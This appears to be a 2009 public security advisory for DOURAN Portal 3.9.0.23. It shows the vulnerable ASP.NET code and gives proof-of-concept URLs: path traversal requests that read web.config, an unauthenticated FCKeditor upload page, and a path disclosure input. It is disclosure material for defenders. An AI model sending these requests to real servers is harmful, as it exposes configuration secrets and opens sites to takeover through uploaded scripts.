Lucene search
+L

DOURAN Portal 3.9.0.23 File Up/Download Issues

🗓️ 19 May 2009 00:00:00Reported by AbysssecType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

Douran Portal 3.9.0.23 File Up/Download Vulnerabilitie

Code
`Abysssec Inc Public Advisory  
  
Description :   
  
these vulnerabilites found one year ago and new version of this portal "is not" affect whith these vulnerabilites anymore   
but still lots of web site uses of old version and are vulnerable and also new version is not "fully secure" . so because of patching there   
is no point to keep these private anymore these vulnerabities are just for educational purpose and author will be not be responsible   
for any damage using this vulnerabiltes .  
  
Discovery : www.Abysssec.com   
  
Title : Douran Portal Multiple Remote Vulnerabilities  
Affected Version : DOURAN Portal <= V3.9.0.23  
Vendor Site : www.douran.com  
  
  
  
Vulnerabilites :   
  
  
1- File Download Vulnerbility in /Admin/ImportExport/download.aspx  
  
Vulnerable Code :  
  
  
string strFileName = Request.Params["Filename"];  
if((strFileName != null) && (strFileName != ""))  
{  
string strPath = Server.MapPath("../../_DouranPortal/ExportPortal");  
strPath += "\\" + strFileName; // Vulnerablity  
if(System.IO.File.Exists(strPath))  
{  
Response.Clear();  
Response.ContentType = "application/octet-stream";  
Response.AddHeader("Content-Transfer-Encoding", "binary");  
Response.AddHeader("Content-Disposition", "attachment; filename=\"" + strFileName + "\"");  
Response.Flush();  
Response.WriteFile(strPath);  
Response.End();  
  
.....  
  
  
PoC : http://www.vulnerable.com/Admin/ImportExport/Download.aspx?filename=../../web.config  
  
  
  
2- File Download Vulnerbility in /download.aspx  
  
Vulnerable Code :  
  
  
string fileNameAttach = Request.Params["FileNameAttach"];  
string filePathAttach = Request.Params["FilePathAttach"];  
string originalAttachFileName = Request.Params["OriginalAttachFileName"];  
if((fileNameAttach != null) && (filePathAttach != ""))  
{  
string strPath = Server.MapPath(filePathAttach + "/" + fileNameAttach); // Vulnerable  
if(System.IO.File.Exists(strPath))  
{  
System.IO.Stream iStream = null;  
  
// Buffer to read 1 mega bytes in chunk:  
int segmentLegthToRead = 1024 * 1024;  
byte[] buffer = new Byte[segmentLegthToRead];  
......  
  
PoC : http://www.vulnerable.com/download.aspx?FileNameAttach=/web.config  
  
3- File Upload Vulnerability DesktopModules/fck/editor  
  
Vulnerablity :   
  
Using Fckeditor without any authentication will give ability to attacker to  
upload his / her own file and fckeditor won't check file extention  
it will give ability to attacker upload a malicius server side ASP / ASPX / PHP / JSP .  
so this vulnerability can creation access to server / portal completely .  
  
PoC : http://www.vulnerable.com/DesktopModules/fck/editor/filemanager/upload/test.html  
  
  
4-Path Disclosure Vulnerablity In DesktopModules/DesktopCalendar/HZAN_pickercal.aspx  
  
Vulnerable Code :   
  
Calendar1.FullWidth = true;  
Calendar1.BigCaledar = bool.Parse((string)Request.QueryString["calsize"]);  
if (!IsPostBack)   
{  
Calendar1.Date = new DateTime(long.Parse((string)Request.QueryString["curd"]));  
Calendar1.CalendarCulture = (HZAN.Calendar.CultureType)Enum.Parse(typeof(HZAN.Calendar.CultureType),(string)Request.QueryString["culture"]);  
seldate = Calendar1.Date.ToShortDateString();  
ChangeSelDate1();  
}  
  
  
PoC : http://www.vulnerable.com/DesktopModules/DesktopCalendar/HZAN_pickercal.aspx?calsize='  
  
  
Final Note : for advanced security topics / sharing idea and etc ... please feel free to contact me at : admin [at] abysssec.com  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 May 2009 00:00Current
7.4High risk
Vulners AI Score7.4
15